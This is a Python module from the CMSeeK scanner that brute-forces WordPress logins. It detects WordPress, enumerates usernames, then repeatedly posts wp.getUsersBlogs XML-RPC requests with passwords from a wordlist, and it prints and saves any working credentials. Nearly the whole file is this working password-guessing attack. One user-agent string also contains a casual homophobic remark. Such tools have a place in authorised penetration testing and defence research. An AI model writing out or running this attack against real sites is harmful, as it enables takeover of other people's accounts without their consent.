#!/usr/bin/python3
# -*- coding: utf-8 -*-
# This is a part of CMSeeK, check the LICENSE file for more information
# Copyright (c) 2018 - 2020 Tuhinshubhra
### WordPress XML-RPC Bruteforce module
### Version 1.0
### cmseekbruteforcemodule <- make sure you include this comment in any custom modules you create so that cmseek can recognize it as a part of it's module

import cmseekdb.basic as cmseek
import cmseekdb.sc as source # Contains function to detect cms from source code
import cmseekdb.header as header # Contains function to detect CMS from gathered http headers
import deepscans.wp.userenum as wp_user_enum
import multiprocessing ## Let's speed things up a lil bit (actually a hell lot faster) shell we?
from functools import partial ## needed somewhere :/
import sys
import cmseekdb.generator as generator
import requests

def wpbrutexmlrpc(xmlrpcurl, user, password):
    postdata = '<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{}</value></param><param><value>{}</value></param></params></methodCall>'.format(user, password)
    brute = requests.post(xmlrpcurl, data=postdata)
    try:
        if "isAdmin" in brute.text and "blogid" in brute.text:
            return True
        else:
            return False
    except:
        return False


def start():
    cmseek.clearscreen()
    cmseek.banner("WordPress XML-RPC Bruteforce Module")
    url = cmseek.targetinp("") # input('Enter Url: ')
    cmseek.info("Checking for WordPress")
    bsrc = cmseek.getsource(url, cmseek.randomua('thiscanbeanythingasfarasnowletitbewhatilovethemost'))
    if bsrc[0] != '1':
        # print(bsrc[1])
        cmseek.error("Could not get target source, CMSeek is quitting")
        cmseek.handle_quit()
    else:
        ## Parse generator meta tag
        parse_generator = generator.parse(bsrc[1])
        ga = parse_generator[0]
        ga_content = parse_generator[1]

        try1 = generator.scan(ga_content)
        if try1[0] == '1' and try1[1] == 'wp':
            wpcnf = '1'
        else:
            try2 = source.check(bsrc[1], url)
            if try2[0] == '1' and try2[1] == 'wp':
                wpcnf = '1'
            else:
                wpcnf = '0'
    if wpcnf != '1':
        print(bsrc[1])
        cmseek.error('Could not confirm WordPress... CMSeek is quitting')
        cmseek.handle_quit()
    else:
        cmseek.success("WordPress Confirmed... validating xmlrpc interface")
        xmlrpcurl = url + '/xmlrpc.php'
        wploginsrc = cmseek.getsource(xmlrpcurl, cmseek.randomua('thatsprettygay'))
        if wploginsrc[1] == 'HTTP Error 405: Method Not Allowed':
            cmseek.success("Login form found.. Detecting Username For Bruteforce")
            wpparamuser = []
            uenum = wp_user_enum.start('wp', url, cmseek.randomua('r'), '0', bsrc[1])
            usernamesgen = uenum[0]
            wpparamuser = uenum[1]

            if wpparamuser == []:
                customuser = input("[~] CMSeek could not enumerate usernames, enter username if you know any: ")
                if customuser == "":
                    cmseek.error("No user found, CMSeek is quitting")
                else:
                    wpparamuser.append(customuser)
            wpbruteusers = set(wpparamuser)

            for user in wpbruteusers:
                passfound = '0'
                print('\n')
                cmseek.info("Bruteforcing User: " + cmseek.bold + user + cmseek.cln)
                with open("wordlist/passwords.txt", "r") as pwd_file:
                    passwords = pwd_file.read().split('\n')
                passwords.insert(0, user)
                for password in passwords:
                    if password != '' and password != '\n':
                        sys.stdout.write('[*] Testing Password: ')
                        sys.stdout.write('%s\r\r' % password)
                        sys.stdout.flush()
                        cursrc = wpbrutexmlrpc(xmlrpcurl, user, password)
                        if cursrc:
                            cmseek.success('Password found!')
                            print(" |\n |--[username]--> " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |")
                            cmseek.success('Enjoy The Hunt!')
                            cmseek.savebrute(url,url + '/wp-login.php',user,password)
                            passfound = '1'
                            break
                        else:
                            continue
                        break
                if passfound == '0':
                        cmseek.error('\n\nCould Not find Password!')
                print('\n\n')

        else:
            cmseek.error("Couldn't find XML-RPC interface... CMSeeK is quitting")
            # print(wploginsrc[1])
            cmseek.handle_quit()
